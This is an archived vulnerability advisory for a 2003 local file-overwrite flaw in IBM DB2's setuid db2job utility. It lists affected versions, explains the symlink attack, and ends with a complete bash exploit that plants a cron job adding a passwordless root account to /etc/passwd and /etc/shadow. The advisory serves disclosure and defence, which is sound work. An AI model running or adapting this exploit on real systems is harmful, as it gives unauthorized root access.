IBM DB2 db2job File Overwrite Vulnerability

BID:8344

Info

IBM DB2 db2job File Overwrite Vulnerability

Bugtraq ID: 8344
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Aug 05 2003 12:00AM
Updated: Aug 05 2003 12:00AM
Credit: Announced by Juan Manuel Pascual Escriba <[email protected]>.
Vulnerable: IBM DB2 Universal Database for Solaris 7.2
IBM DB2 Universal Database for Solaris 7.1
IBM DB2 Universal Database for Solaris 7.0
IBM DB2 Universal Database for Solaris 6.1
IBM DB2 Universal Database for Solaris 6.0
IBM DB2 Universal Database for Linux 7.2
IBM DB2 Universal Database for Linux 7.1
IBM DB2 Universal Database for Linux 7.0
IBM DB2 Universal Database for Linux 6.1
- Caldera OpenLinux 2.4
- Redhat Linux 7.0
- SuSE Linux 7.0
- Turbolinux Turbolinux 6.0.4
IBM DB2 Universal Database for Linux 6.0
IBM DB2 Universal Database for HP-UX 7.2
IBM DB2 Universal Database for HP-UX 7.1
IBM DB2 Universal Database for HP-UX 7.0
IBM DB2 Universal Database for HP-UX 6.1
IBM DB2 Universal Database for HP-UX 6.0
IBM DB2 Universal Database for AIX 7.2
IBM DB2 Universal Database for AIX 7.1
IBM DB2 Universal Database for AIX 7.0
IBM DB2 Universal Database for AIX 6.1
IBM DB2 Universal Database for AIX 6.0
Not Vulnerable:

Discussion

IBM DB2 db2job File Overwrite Vulnerability

IBM's DB2 database ships with a utility called db2job, installed with permissions 4550 and owned by root.db2asgrp.

It has been reported that db2job writes to a number of files with root privileges. The files written to are created with 0770 permissions (owner, group writeable) and are owned by root.db2asgrp. If a symbolic link is written to, the file pointed to will be overwritten and given these permissions. This can be exploited by local attackers with execute privileges to gain root access by writing malicious data to sensitive files (such as /etc/passwd, /etc/shadow) that have been overwritten.

It should be noted, however, that db2job is allegedly not world-executable by default. The two members of group db2asgrp, db2as and db2inst1, are the only users besides root that would normally have execute access. If the attacker can run commands or gain the access level of those accounts, they may further elevate their access level through exploitation of this vulnerability.

Exploit / POC

IBM DB2 db2job File Overwrite Vulnerability

EXPLOIT

#!/bin/bash

DB2JOB=/home/db2as/sqllib/adm/db2job
CRONFILE=/etc/cron.hourly/pakito
USER=pakito

unset DB2INSTANCE
export DB2DIR=./trash

if [ -d $DB2DIR ]; then
echo Trash directory already created
else
mkdir $DB2DIR
fi

cd $DB2DIR
if [ -f ./0_1.out ]; then
echo Link Already Created
else
ln -s $CRONFILE ./0_1.out
fi

$DB2JOB


echo "echo "#!/bin/bash"" > $CRONFILE
echo "echo "$USER:x:0:0::/:/bin/bash" >> /etc/passwd" >> $CRONFILE
echo "echo "$USER::12032:0:99999:7:::" >> /etc/shadow" >> $CRONFILE
echo " must wait until cron execute $CRONFILE and then exec su pakito"

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report